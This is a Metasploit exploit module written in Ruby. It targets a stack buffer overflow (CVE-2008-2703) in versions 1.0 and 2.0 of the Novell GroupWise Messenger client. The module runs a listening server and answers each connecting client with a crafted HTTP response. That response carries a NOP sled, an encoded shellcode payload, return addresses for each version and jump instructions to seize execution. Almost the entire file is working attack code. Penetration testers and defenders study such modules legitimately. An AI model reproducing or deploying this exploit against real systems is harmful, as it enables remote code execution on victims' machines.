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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::TcpServer
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Novell GroupWise Messenger Client Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a stack buffer overflow in Novell's GroupWise Messenger Client.
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        By sending a specially crafted HTTP response, an attacker may be able to execute
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        arbitrary code.
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      },
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      'Author'         => 'MC',
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2008-2703' ],
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          [ 'OSVDB', '46041' ],
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          [ 'BID', '29602' ],
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          [ 'URL', 'http://www.infobyte.com.ar/adv/ISR-17.html' ],
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'process',
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          'AllowWin32SEH' => true
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        },
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      'Payload'        =>
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        {
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          'Space'    => 750,
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          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
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          'DisableNops'   =>  'True',
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          'StackAdjustment' => -3500,
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          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
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          'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [ 'Novell GroupWise Messenger 2.0 Client', { 'Ret' => 0x502de115 } ],
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          [ 'Novell GroupWise Messenger 1.0 Client', { 'Ret' => 0x1000e105 } ],
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        ],
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      'Privileged'     => false,
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      'DisclosureDate' => '2008-07-02',
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      'DefaultTarget'  => 0))
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    register_options(
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      [
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        OptPort.new('SRVPORT', [ true, "The daemon port to listen on.", 8300 ])
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      ])
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  end
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  def on_client_connect(client)
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    return if ((p = regenerate_payload(client)) == nil)
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    client.get_once
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    date = Time.gm(2008,nil,nil,nil,nil,nil)
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    rand_1 = rand_text_english(5)
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    rand_2 = rand_text_english(4)
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    rand_3 = rand_text_english(rand(8) + 1)
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    rand_4 = rand_text_alpha_upper(8)
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    rand_5 = rand_text_english(3)
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    res =  "HTTP/1.0 200\r\n"
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    res << "Date: #{date}\r\n"
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    res << "Pragma: no-cache\r\n"
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    res << "Cache-Control: no-cache\r\n\r\n"
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    res << "\n\0\20\0\0\0nnmFileTransfer\0\2\0\0\x000\0\n\0\t\0\0\0"
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    res << "nnmQuery\0\2\0\0\x001\0\n\0\13\0\0\0nnmArchive"
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    res << "\0\2\0\0\x001\0\n\0\24\0\0\0nnmPasswordRemember"
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    res << "\0\2\0\0\x001\0\n\0\17\0\0\0nnmMaxContacts"
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    res << "\0\4\0\0\x00150\0\n\0\16\0\0\0nnmMaxFolders"
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    res << "\0\3\0\0\x0050\0\n\0\r\0\0\0nnmBroadcast"
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    res << "\0\2\0\0\x001\0\n\0\23\0\0\0nnmPersonalHistory"
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    res << "\0\2\0\0\x001\0\n\0\r\0\0\0nnmPrintSave"
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    res << "\0\2\0\0\x001\0\n\0\17\0\0\0nnmChatService"
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    res << "\0\2\0\0\x001\0\n\0\3\0\0\0CN\0\a\0\0\0ISR000"
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    res << "\0\n\0\b\0\0\0Surname\0\6\0\0\0#{rand_1}\0\n\0\n\0\0\0"
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    res << "Full Name\0\20\0\0\0Client Name    \0\n\0\13\0\0\0Given Name"
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    res << "\0\n\0\0\0Client   \0\n\0\r\0\0\0nnmLastLogin\0\13\0\0\x001200112090\0\t\0\30\0\0\0"
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    res << "NM_A_FA_CLIENT_SETTINGS\0\1\0\0\0\n\0\21\0\0\0Novell.AskToSave"
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    res << "\0\2\0\0\x001\0\t\0\e\0\0\0NM_A_FA_INFO_DISPLAY_ARRAY"
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    res << "\0\1\0\0\0\n\0\27\0\0\0Internet EMail Address\0\26\0\0\0#{rand_1}\@#{rand_4}.#{rand_5}.xx"
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    res << "\0\b\0\16\0\0\0NM_A_UD_BUILD\0\a\0\0\0\n\0\13\0\0\0NM_A_SZ_DN\x001\0\0\0"
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    res << "CN=ISR000,OU=IT,OU=ISR_,OU=BA,OU=AR,O=#{rand_4}XX"
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    res << "\0\t\0\24\0\0\0NM_A_FA_AU_SETTINGS\0\1\0\0\0\n\0\22\0\0\0"
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    res << "nnmClientDownload\0\2\0\0\x000\0\b\0\22\0\0\0NM_A_UD_KEEPALIVE"
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    res << "\0\n\0\0\0\n\0\24\0\0\0NM_A_SZ_RESULT_CODE\0\2\0\0\x000\0\n\0\27\0\0\0"
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    res << "NM_A_SZ_TRANSACTION_ID\0\2\0\0\x001\0\0"
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    res << "HTTP/1.0 200\r\n"
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    res << "Date: #{date}\r\n"
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    res << "Pragma: no-cache\r\n"
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    res << "Cache-Control: no-cache\r\n\r\n"
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    res << "\n\0\24\0\0\0NM_A_SZ_RESULT_CODE\0\2\0\0\x000\0\n\0\27\0\0\0"
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    res << "NM_A_SZ_TRANSACTION_ID\0\2\0\0\x00#{rand_2}\0\0"
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    res << make_nops(805 - payload.encoded.length) + payload.encoded
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    res << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
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    res << [0xe9, -800].pack('CV') + rand_text_english(5000 - payload.encoded.length)
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    print_status("Sending #{self.name} to #{client.peerhost}:#{client.peerport}...")
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    client.put(res)
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    handler(client)
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    select(nil,nil,nil,2)
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    service.close_client(client)
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  end
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end
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